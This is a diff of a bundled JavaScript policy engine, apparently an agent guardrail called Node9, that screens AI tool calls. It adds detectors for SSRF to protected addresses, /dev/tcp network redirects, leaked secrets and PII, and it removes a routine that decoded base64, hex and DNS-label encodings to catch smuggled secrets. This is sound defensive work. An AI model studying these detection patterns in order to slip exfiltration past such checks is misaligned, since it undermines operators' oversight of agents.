const password = capturedValue(raw, DB_URL_PASSWORD_RE);
|
|
4269
|
+
if (password === null) return false;
|
|
4270
|
+
const lower2 = password.toLowerCase();
|
|
4271
|
+
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw))) return false;
|
|
4272
|
+
return shannonEntropy(raw) >= 3;
|
|
4273
|
+
}
|
|
3591
4274
|
function validateOtpSecret(raw) {
|
|
3592
4275
|
const secret = capturedValue(raw, OTP_CAPTURE_RE);
|
|
3593
4276
|
if (secret === null || isOtpDocSecret(secret)) return false;
|
|
@@ -4750,9 +5433,9 @@ function bareToolName(toolName) {
|
|
|
4750
5433
|
const parts = toolName.split("__");
|
|
4751
5434
|
return (parts.length >= 3 ? parts.slice(2).join("__") : toolName).toLowerCase();
|
|
4752
5435
|
}
|
|
4753
|
-
function valuesAt(args,
|
|
5436
|
+
function valuesAt(args, path27) {
|
|
4754
5437
|
let cursors = [args];
|
|
4755
|
-
for (const rawSegment of
|
|
5438
|
+
for (const rawSegment of path27.split(".")) {
|
|
4756
5439
|
const isArray = rawSegment.endsWith("[]");
|
|
4757
5440
|
const key = isArray ? rawSegment.slice(0, -2) : rawSegment;
|
|
4758
5441
|
const next = [];
|
|
@@ -4781,11 +5464,18 @@ function hostOf(value) {
|
|
|
4781
5464
|
}
|
|
4782
5465
|
function extractToolDestinations(toolName, args) {
|
|
4783
5466
|
try {
|
|
4784
|
-
const paths = DESTINATION_ARGS.get(bareToolName(toolName));
|
|
4785
|
-
if (!paths) return [];
|
|
4786
5467
|
const out = [];
|
|
4787
|
-
|
|
4788
|
-
|
|
5468
|
+
const paths = DESTINATION_ARGS.get(bareToolName(toolName)) ?? [];
|
|
5469
|
+
for (const path27 of paths) {
|
|
5470
|
+
for (const value of valuesAt(args, path27)) {
|
|
5471
|
+
const host2 = hostOf(value);
|
|
5472
|
+
if (host2) out.push({ host: host2, binary: toolName, raw: value });
|
|
5473
|
+
}
|
|
5474
|
+
}
|
|
5475
|
+
if (paths.length === 0 && /^mcp__/i.test(toolName) && args && typeof args === "object") {
|
|
5476
|
+
for (const key of MCP_DESTINATION_KEYS) {
|
|
5477
|
+
const value = args[key];
|
|
5478
|
+
if (typeof value !== "string") continue;
|
|
4789
5479
|
const host2 = hostOf(value);
|
|
4790
5480
|
if (host2) out.push({ host: host2, binary: toolName, raw: value });
|
|
4791
5481
|
}
|
|
@@ -4795,19 +5485,25 @@ function extractToolDestinations(toolName, args) {
|
|
|
4795
5485
|
return [];
|
|
4796
5486
|
}
|
|
4797
5487
|
}
|
|
5488
|
+
function writtenAuthority(value) {
|
|
5489
|
+
const m = /^[a-z][a-z0-9+.-]*:\/\/(?:[^@/?#]*@)?(\[[^\]]*\]|[^:/?#]*)/i.exec(value);
|
|
5490
|
+
return m && m[1] ? m[1] : null;
|
|
5491
|
+
}
|
|
4798
5492
|
function ssrfDestinationFloor(toolName, args, opts = {}) {
|
|
4799
5493
|
try {
|
|
4800
5494
|
const paths = DESTINATION_ARGS.get(bareToolName(toolName));
|
|
4801
5495
|
if (!paths) return null;
|
|
4802
|
-
for (const
|
|
4803
|
-
for (const value of valuesAt(args,
|
|
5496
|
+
for (const path27 of paths) {
|
|
5497
|
+
for (const value of valuesAt(args, path27)) {
|
|
4804
5498
|
const host2 = hostOf(value);
|
|
4805
5499
|
if (!host2) continue;
|
|
4806
5500
|
const m = classifySsrf(host2);
|
|
4807
5501
|
if (!m) continue;
|
|
4808
|
-
|
|
4809
|
-
|
|
4810
|
-
|
|
5502
|
+
const written = writtenAuthority(value) ?? host2;
|
|
5503
|
+
const decision = ssrfFloorDecision(m, written, opts);
|
|
5504
|
+
if (decision === null) continue;
|
|
5505
|
+
const reason = decision === "review" ? ssrfDisguisedReason(m, written) : ssrfReason(m, host2);
|
|
5506
|
+
return { ...m, argPath: path27, host: host2, reason, decision };
|
|
4811
5507
|
}
|
|
4812
5508
|
}
|
|
4813
5509
|
return null;
|
|
@@ -4815,190 +5511,6 @@ function ssrfDestinationFloor(toolName, args, opts = {}) {
|
|
|
4815
5511
|
return null;
|
|
4816
5512
|
}
|
|
4817
5513
|
}
|
|
4818
|
-
function newSecretViewBudget() {
|
|
4819
|
-
return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
|
|
4820
|
-
}
|
|
4821
|
-
function textBytes(buf) {
|
|
4822
|
-
if (buf.length < 16) return null;
|
|
4823
|
-
const text = buf.toString("utf8");
|
|
4824
|
-
if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
|
|
4825
|
-
return text;
|
|
4826
|
-
}
|
|
4827
|
-
function percentOnce(text) {
|
|
4828
|
-
return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
|
|
4829
|
-
try {
|
|
4830
|
-
return decodeURIComponent(run);
|
|
4831
|
-
} catch {
|
|
4832
|
-
return run.replace(
|
|
4833
|
-
/%([a-f0-9]{2})/gi,
|
|
4834
|
-
(_, h) => String.fromCharCode(parseInt(h, 16))
|
|
4835
|
-
);
|
|
4836
|
-
}
|
|
4837
|
-
});
|
|
4838
|
-
}
|
|
4839
|
-
function* wrappedBase64(text) {
|
|
4840
|
-
if (!text.includes("\n")) return;
|
|
4841
|
-
const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
|
|
4842
|
-
let run = [];
|
|
4843
|
-
let width = 0;
|
|
4844
|
-
const flush = function* () {
|
|
4845
|
-
if (run.length >= 2) yield run.join("");
|
|
4846
|
-
run = [];
|
|
4847
|
-
width = 0;
|
|
4848
|
-
};
|
|
4849
|
-
for (const raw of text.split("\n")) {
|
|
4850
|
-
const line = raw.trim();
|
|
4851
|
-
const full = line.length >= 16 && word.test(line) && !line.includes("=");
|
|
4852
|
-
if (full && (!run.length || line.length === width)) {
|
|
4853
|
-
run.push(line);
|
|
4854
|
-
width = line.length;
|
|
4855
|
-
continue;
|
|
4856
|
-
}
|
|
4857
|
-
if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
|
|
4858
|
-
run.push(line);
|
|
4859
|
-
yield* flush();
|
|
4860
|
-
continue;
|
|
4861
|
-
}
|
|
4862
|
-
yield* flush();
|
|
4863
|
-
if (full) {
|
|
4864
|
-
run.push(line);
|
|
4865
|
-
width = line.length;
|
|
4866
|
-
}
|
|
4867
|
-
}
|
|
4868
|
-
yield* flush();
|
|
4869
|
-
}
|
|
4870
|
-
function* encodedRegions(text, budget) {
|
|
4871
|
-
yield [text, false];
|
|
4872
|
-
for (const block of wrappedBase64(text)) yield [block, false];
|
|
4873
|
-
for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
|
|
4874
|
-
try {
|
|
4875
|
-
new URL(match[0]);
|
|
4876
|
-
} catch {
|
|
4877
|
-
continue;
|
|
4878
|
-
}
|
|
4879
|
-
const parts = match[0].match(
|
|
4880
|
-
/^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
|
|
4881
|
-
);
|
|
4882
|
-
if (!parts) continue;
|
|
4883
|
-
const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
|
|
4884
|
-
const regions = [
|
|
4885
|
-
parts[1],
|
|
4886
|
-
...host2.split("."),
|
|
4887
|
-
...parts[2].split("/"),
|
|
4888
|
-
...(parts[3] ?? "").split("&"),
|
|
4889
|
-
parts[4] ?? ""
|
|
4890
|
-
];
|
|
4891
|
-
for (const region of regions) if (region) yield [region, false];
|
|
4892
|
-
const labels = host2.split(".");
|
|
4893
|
-
if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
|
|
4894
|
-
continue;
|
|
4895
|
-
for (let start = 0; start < labels.length; start++) {
|
|
4896
|
-
let joined = labels[start];
|
|
4897
|
-
for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
|
|
4898
|
-
const run = labels.slice(start, end + 1);
|
|
4899
|
-
if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
|
|
4900
|
-
break;
|
|
4901
|
-
joined += labels[end];
|
|
4902
|
-
if (joined.length < 16) continue;
|
|
4903
|
-
budget.joinedLabelBytes += joined.length;
|
|
4904
|
-
if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
|
|
4905
|
-
budget.reasons.add("decode-labels");
|
|
4906
|
-
return;
|
|
4907
|
-
}
|
|
4908
|
-
yield [joined, true];
|
|
4909
|
-
}
|
|
4910
|
-
}
|
|
4911
|
-
}
|
|
4912
|
-
}
|
|
4913
|
-
function decodeBase32(raw) {
|
|
4914
|
-
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
|
4915
|
-
const out = [];
|
|
4916
|
-
let bits = 0;
|
|
4917
|
-
let accumulator = 0;
|
|
4918
|
-
for (const c of raw.toUpperCase()) {
|
|
4919
|
-
accumulator = accumulator << 5 | alphabet.indexOf(c);
|
|
4920
|
-
bits += 5;
|
|
4921
|
-
if (bits >= 8) {
|
|
4922
|
-
bits -= 8;
|
|
4923
|
-
out.push(accumulator >> bits);
|
|
4924
|
-
accumulator &= (1 << bits) - 1;
|
|
4925
|
-
}
|
|
4926
|
-
}
|
|
4927
|
-
if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
|
|
4928
|
-
return Buffer.from(out);
|
|
4929
|
-
}
|
|
4930
|
-
function* decodedCandidates(text, budget) {
|
|
4931
|
-
const stripped = stripInvisible(text);
|
|
4932
|
-
if (stripped !== text) yield ["invisibles", stripped];
|
|
4933
|
-
if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
|
|
4934
|
-
const families = [
|
|
4935
|
-
["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
|
|
4936
|
-
["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
|
|
4937
|
-
["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
|
|
4938
|
-
["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
|
|
4939
|
-
["base32", /\b[A-Z2-7]{26,}\b/gi]
|
|
4940
|
-
];
|
|
4941
|
-
for (const [region, joined] of encodedRegions(text, budget)) {
|
|
4942
|
-
if (joined) yield ["dns-labels", region];
|
|
4943
|
-
for (const [kind, re] of families) {
|
|
4944
|
-
for (const match of region.matchAll(re)) {
|
|
4945
|
-
const raw = match[0];
|
|
4946
|
-
let buf;
|
|
4947
|
-
if (kind === "base64") {
|
|
4948
|
-
if (/^[a-f0-9]+$/i.test(raw)) continue;
|
|
4949
|
-
const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
|
|
4950
|
-
const unpadded = normalized.replace(/=+$/, "");
|
|
4951
|
-
if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
|
|
4952
|
-
buf = Buffer.from(normalized, "base64");
|
|
4953
|
-
if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
|
|
4954
|
-
} else if (kind === "base32") {
|
|
4955
|
-
const decoded2 = decodeBase32(raw);
|
|
4956
|
-
if (!decoded2) continue;
|
|
4957
|
-
buf = decoded2;
|
|
4958
|
-
} else {
|
|
4959
|
-
buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
|
|
4960
|
-
}
|
|
4961
|
-
const decoded = textBytes(buf);
|
|
4962
|
-
if (decoded !== null) yield [kind, decoded];
|
|
4963
|
-
}
|
|
4964
|
-
}
|
|
4965
|
-
}
|
|
4966
|
-
}
|
|
4967
|
-
function secretViews(text, budget) {
|
|
4968
|
-
const seen = /* @__PURE__ */ new Set([text]);
|
|
4969
|
-
const out = [];
|
|
4970
|
-
let frontier = [{ text, transforms: [] }];
|
|
4971
|
-
for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
|
|
4972
|
-
const next = [];
|
|
4973
|
-
for (const parent of frontier) {
|
|
4974
|
-
let perLeaf = 0;
|
|
4975
|
-
for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
|
|
4976
|
-
if (seen.has(decoded)) continue;
|
|
4977
|
-
seen.add(decoded);
|
|
4978
|
-
const normalizing = kind === "invisibles" || kind === "percent";
|
|
4979
|
-
if (depth >= 2 && !normalizing) {
|
|
4980
|
-
budget.nestedBytes += Buffer.byteLength(decoded);
|
|
4981
|
-
if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
|
|
4982
|
-
budget.reasons.add("decode-nested");
|
|
4983
|
-
return out;
|
|
4984
|
-
}
|
|
4985
|
-
}
|
|
4986
|
-
const view = { text: decoded, transforms: [...parent.transforms, kind] };
|
|
4987
|
-
out.push(view);
|
|
4988
|
-
next.push(view);
|
|
4989
|
-
}
|
|
4990
|
-
}
|
|
4991
|
-
frontier = next;
|
|
4992
|
-
if (!frontier.length) return out;
|
|
4993
|
-
}
|
|
4994
|
-
for (const view of frontier) {
|
|
4995
|
-
if (!decodedCandidates(view.text, budget).next().done) {
|
|
4996
|
-
budget.reasons.add("decode-nested");
|
|
4997
|
-
break;
|
|
4998
|
-
}
|
|
4999
|
-
}
|
|
5000
|
-
return out;
|
|
5001
|
-
}
|
|
5002
5514
|
function batches(views) {
|
|
5003
5515
|
const out = [];
|
|
5004
5516
|
let current = [];
|
|
@@ -5283,11 +5795,12 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
|
|
|
5283
5795
|
{
|
|
5284
5796
|
const dest = ssrfDestinationFloor(toolName, args, {
|
|
5285
5797
|
ssrfAllow: config.policy.egress?.ssrfAllow,
|
|
5286
|
-
ssrfStrict: config.policy.egress?.ssrfStrict
|
|
5798
|
+
ssrfStrict: config.policy.egress?.ssrfStrict,
|
|
5799
|
+
allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
|
|
5287
5800
|
});
|
|
5288
5801
|
if (dest) {
|
|
5289
5802
|
return {
|
|
5290
|
-
decision:
|
|
5803
|
+
decision: dest.decision,
|
|
5291
5804
|
blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
|
|
5292
5805
|
reason: dest.reason,
|
|
5293
5806
|
ruleName: `ssrf:${dest.tier}:${toolName}:${dest.host}`,
|
|
@@ -5484,11 +5997,14 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
|
|
|
5484
5997
|
{
|
|
5485
5998
|
const ssrf = ssrfFloor(extractShellDestTokens(shellCommand), {
|
|
5486
5999
|
ssrfAllow: config.policy.egress?.ssrfAllow,
|
|
5487
|
-
ssrfStrict: config.policy.egress?.ssrfStrict
|
|
6000
|
+
ssrfStrict: config.policy.egress?.ssrfStrict,
|
|
6001
|
+
// Only an ENABLED egress policy speaks for the operator here: the
|
|
6002
|
+
// shipped default carries allowPrivate without anyone having chosen it.
|
|
6003
|
+
allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
|
|
5488
6004
|
});
|
|
5489
6005
|
if (ssrf) {
|
|
5490
6006
|
return {
|
|
5491
|
-
decision:
|
|
6007
|
+
decision: ssrf.decision,
|
|
5492
6008
|
blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
|
|
5493
6009
|
reason: ssrf.reason,
|
|
5494
6010
|
ruleName: `ssrf:${ssrf.tier}:${ssrf.binary}:${ssrf.host}`,
|
|
@@ -5767,6 +6283,36 @@ function gitRepoPath(url) {
|
|
|
5767
6283
|
function isDestructiveToolName(bareTool) {
|
|
5768
6284
|
return DESTRUCTIVE_VERB_RE.test(bareTool);
|
|
5769
6285
|
}
|
|
6286
|
+
function hasNationalId(text) {
|
|
6287
|
+
if (!NATIONAL_ID_GUARD_RE.test(text)) return false;
|
|
6288
|
+
const labelled = NATIONAL_ID_LABEL_RE.test(text);
|
|
6289
|
+
for (const shape of NATIONAL_ID_SHAPES) {
|
|
6290
|
+
if (shape.labelled && !labelled) continue;
|
|
6291
|
+
const flags = shape.regex.flags.includes("g") ? shape.regex.flags : shape.regex.flags + "g";
|
|
6292
|
+
const re = new RegExp(shape.regex.source, flags);
|
|
6293
|
+
let m;
|
|
6294
|
+
while ((m = re.exec(text)) !== null) {
|
|
6295
|
+
if (!shape.validate(m[0])) continue;
|
|
6296
|
+
if (!shape.labelled) return true;
|
|
6297
|
+
const before = text.slice(Math.max(0, m.index - NATIONAL_ID_LABEL_WINDOW), m.index);
|
|
6298
|
+
if (NATIONAL_ID_LABEL_RE.test(before)) return true;
|
|
6299
|
+
}
|
|
6300
|
+
}
|
|
6301
|
+
return false;
|
|
6302
|
+
}
|
|
6303
|
+
function hasRoutingNumber(text) {
|
|
6304
|
+
if (!ROUTING_LABEL_RE.test(text)) return false;
|
|
6305
|
+
const re = new RegExp(PII_ROUTING_RE.source, "g");
|
|
6306
|
+
let m;
|
|
6307
|
+
while ((m = re.exec(text)) !== null) {
|
|
6308
|
+
if (!validateAbaRouting(m[0])) continue;
|
|
6309
|
+
const before = text.slice(Math.max(0, m.index - ROUTING_LABEL_WINDOW), m.index);
|
|
6310
|
+
const end = m.index + m[0].length;
|
|
6311
|
+
const after = text.slice(end, end + ROUTING_LABEL_WINDOW);
|
|
6312
|
+
if (ROUTING_LABEL_RE.test(before) || ROUTING_LABEL_RE.test(after)) return true;
|
|
6313
|
+
}
|
|
6314
|
+
return false;
|
|
6315
|
+
}
|
|
5770
6316
|
function* validCardRuns(text, base2, exemptFractions = true) {
|
|
5771
6317
|
const re = new RegExp(base2.source, "g");
|
|
5772
6318
|
let m;
|
|
@@ -5781,14 +6327,14 @@ function* validCardRuns(text, base2, exemptFractions = true) {
|
|
|
5781
6327
|
}
|
|
5782
6328
|
}
|
|
5783
6329
|
function hasValidCard(text) {
|
|
5784
|
-
for (const base2 of
|
|
6330
|
+
for (const base2 of CARD_PATTERNS) {
|
|
5785
6331
|
if (!validCardRuns(text, base2).next().done) return true;
|
|
5786
6332
|
}
|
|
5787
6333
|
return false;
|
|
5788
6334
|
}
|
|
5789
6335
|
function replaceValidCards(text, replace, { exemptFractions = true } = {}) {
|
|
5790
6336
|
let out = text;
|
|
5791
|
-
for (const base2 of
|
|
6337
|
+
for (const base2 of CARD_PATTERNS) {
|
|
5792
6338
|
let res = "";
|
|
5793
6339
|
let last = 0;
|
|
5794
6340
|
for (const run of validCardRuns(out, base2, exemptFractions)) {
|
|
@@ -5829,36 +6375,65 @@ function detectPii(text) {
|
|
|
5829
6375
|
if (PII_PHONE_RE.test(text)) found.add("Phone");
|
|
5830
6376
|
if (hasValidCard(text)) found.add("Credit Card");
|
|
5831
6377
|
if (hasValidIban(text)) found.add("IBAN");
|
|
6378
|
+
if (hasRoutingNumber(text)) found.add("Bank Routing Number");
|
|
6379
|
+
if (hasNationalId(text)) found.add("National ID");
|
|
5832
6380
|
return [...found];
|
|
5833
6381
|
}
|
|
5834
|
-
function* stringLeaves(v, depth = 0) {
|
|
6382
|
+
function* stringLeaves(v, depth = 0, key) {
|
|
5835
6383
|
if (depth > 6) return;
|
|
5836
6384
|
if (typeof v === "string") {
|
|
5837
|
-
if (v.length > 0) yield v;
|
|
6385
|
+
if (v.length > 0) yield [v, key];
|
|
5838
6386
|
return;
|
|
5839
6387
|
}
|
|
5840
6388
|
if (typeof v === "number") {
|
|
5841
|
-
if (Number.isFinite(v)) yield String(v);
|
|
6389
|
+
if (Number.isFinite(v)) yield [String(v), key];
|
|
5842
6390
|
return;
|
|
5843
6391
|
}
|
|
5844
6392
|
if (!v || typeof v !== "object") return;
|
|
5845
6393
|
if (Array.isArray(v)) {
|
|
5846
|
-
for (const x of v) yield* stringLeaves(x, depth + 1);
|
|
6394
|
+
for (const x of v) yield* stringLeaves(x, depth + 1, key);
|
|
5847
6395
|
return;
|
|
5848
6396
|
}
|
|
5849
|
-
for (const x of Object.
|
|
6397
|
+
for (const [k, x] of Object.entries(v)) yield* stringLeaves(x, depth + 1, k);
|
|
6398
|
+
}
|
|
6399
|
+
function argumentLeavesText(args, limit = MAX_PII_SCAN_BYTES) {
|
|
6400
|
+
const parts = [];
|
|
6401
|
+
let size = 0;
|
|
6402
|
+
for (const [leaf] of stringLeaves(args)) {
|
|
6403
|
+
if (size >= limit) break;
|
|
6404
|
+
parts.push(leaf);
|
|
6405
|
+
size += leaf.length + 1;
|
|
6406
|
+
}
|
|
6407
|
+
return parts.join("\n").slice(0, limit);
|
|
6408
|
+
}
|
|
6409
|
+
function isIbanDestination(leaf, key) {
|
|
6410
|
+
if (!key || !IBAN_DESTINATION_KEYS.has(key.toLowerCase())) return false;
|
|
6411
|
+
const value = leaf.trim();
|
|
6412
|
+
return WHOLE_IBAN_RE.test(value) && validateIban(value);
|
|
6413
|
+
}
|
|
6414
|
+
function jsonUnescapedView(leaf) {
|
|
6415
|
+
if (!/\\[ntr"\\/u]/.test(leaf)) return null;
|
|
6416
|
+
return leaf.replace(
|
|
6417
|
+
JSON_ESCAPE_RE,
|
|
6418
|
+
(m) => m[1] === "u" ? String.fromCharCode(parseInt(m.slice(2), 16)) : JSON_ESCAPES[m[1]]
|
|
6419
|
+
);
|
|
5850
6420
|
}
|
|
5851
6421
|
function detectArgsPii(args) {
|
|
5852
6422
|
if (args === null || args === void 0) return [];
|
|
5853
6423
|
const found = /* @__PURE__ */ new Set();
|
|
5854
6424
|
let budget = MAX_PII_SCAN_BYTES;
|
|
5855
6425
|
try {
|
|
5856
|
-
for (const leaf of stringLeaves(args)) {
|
|
6426
|
+
for (const [leaf, key] of stringLeaves(args)) {
|
|
5857
6427
|
if (budget <= 0) break;
|
|
5858
6428
|
const t = leaf.length > budget ? leaf.slice(0, budget) : leaf;
|
|
5859
6429
|
budget -= t.length;
|
|
5860
|
-
|
|
5861
|
-
|
|
6430
|
+
const destination = isIbanDestination(t, key);
|
|
6431
|
+
for (const view of [t, jsonUnescapedView(t)]) {
|
|
6432
|
+
if (view === null) continue;
|
|
6433
|
+
for (const p of detectPii(view)) {
|
|
6434
|
+
if (p === "IBAN" && destination) continue;
|
|
6435
|
+
if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
|
|
6436
|
+
}
|
|
5862
6437
|
}
|
|
5863
6438
|
}
|
|
5864
6439
|
} catch {
|
|
@@ -6314,6 +6889,15 @@ function walkCalls(command, out, depth, state) {
|
|
|
6314
6889
|
for (const a of node.Args || []) if (a?.Name?.Value) state.env.add(a.Name.Value);
|
|
6315
6890
|
return true;
|
|
6316
6891
|
}
|
|
6892
|
+
if (type === "Stmt") {
|
|
6893
|
+
for (const r of node.Redirs || []) {
|
|
6894
|
+
const h = devNetRedirectHost(r?.Word ? resolveWordLiteral(r.Word) : null);
|
|
6895
|
+
if (!h) continue;
|
|
6896
|
+
out.sends = true;
|
|
6897
|
+
out.destinations.push(`host:${h}`);
|
|
6898
|
+
}
|
|
6899
|
+
return true;
|
|
6900
|
+
}
|
|
6317
6901
|
if (type !== "CallExpr") return true;
|
|
6318
6902
|
const call = node;
|
|
6319
6903
|
if ((call.Args || []).length === 0) {
|
|
@@ -6483,7 +7067,7 @@ function matchCanaryArgs(args, values) {
|
|
|
6483
7067
|
return null;
|
|
6484
7068
|
}
|
|
6485
7069
|
}
|
|
6486
|
-
var import_picomatch, import_safe_regex2, import_picomatch2, import_mvdan_sh, import_safe_regex22, import_mvdan_sh2, import_safe_regex23, import_crypto2, import_crypto3, import_mvdan_sh3, import_crypto4, import_mvdan_sh4, import_crypto5, aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, STRICT_TIERS, METADATA_HOSTNAMES, v4Octets, TIER_REASON, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, PROJECT_JAIL_BLOCK_READ, OVERRIDE_PREFIX, LABEL_WRAPPERS, LEGACY_READERS, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, SQL_DB_CLIS, SQL_DDL_RE, CHMOD_OPEN_PERM_TOKENS, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _redirStdinOps, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, INTERP_LEADING_TARGET, NET_BINARIES, VALUE_FLAGS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, stripDotSlash, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, MAX_ALTERNATIVES, MAX_CALL_DEPTH2, MAX_CALL_WALKS2, POSITIONAL, MAX_DEPTH, MAX_PAYLOAD_DEPTH, unique, clone, SENDING_STDIN, DOWNLOAD_SHORT_VALUE, DOWNLOAD_LONG_VALUE, DOWNLOAD_OUTPUT_FLAGS, DOWNLOAD_DIR_FLAGS, base, quoteGlob, asWord, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_AUTH_FILES, SYSTEM_AUTH_DIRS, PASSWORD_HASH_FILES, STARTUP_NAMES, SYSTEM_DIRS, SYSTEM_DIRS_EXEMPT, UPLOAD_SYSTEM_DIRS, AGENT_INSTRUCTION_FILES, AGENT_INSTRUCTION_DIRS, LEGACY_SYSTEM_PATH_RE, exempt, RANK, BIP39_ENGLISH, BIP39_PUBLIC_VECTORS, indices, lengths, hash, MAX_MNEMONIC_HASHES, IBAN_LENGTH, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX,
|
|
7070
|
+
var import_picomatch, import_safe_regex2, import_picomatch2, import_mvdan_sh, import_safe_regex22, import_mvdan_sh2, import_safe_regex23, import_crypto2, import_crypto3, import_mvdan_sh3, import_crypto4, import_mvdan_sh4, import_crypto5, aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, STRICT_TIERS, METADATA_HOSTNAMES, v4Octets, TIER_REASON, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, PROJECT_JAIL_BLOCK_READ, OVERRIDE_PREFIX, LABEL_WRAPPERS, LEGACY_READERS, INVISIBLE_RE, INVISIBLE_ONE, HOMOGLYPHS, HOMOGLYPH_RE, MAX_BLOBS, MIN_DECODED, BASE64_RUN_RE, HEX_RUN_RE, HEX_ESCAPE_RUN_RE, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, MAX_READING_PAYLOADS, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, CURL_SOURCE_FLAGS, CURL_VALUE_LETTERS, WGET_VALUE_LETTERS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, SQL_DB_CLIS, SQL_DDL_RE, 